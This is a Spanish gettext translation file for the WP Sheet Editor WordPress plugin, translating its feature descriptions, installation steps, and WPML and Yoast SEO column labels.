                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " 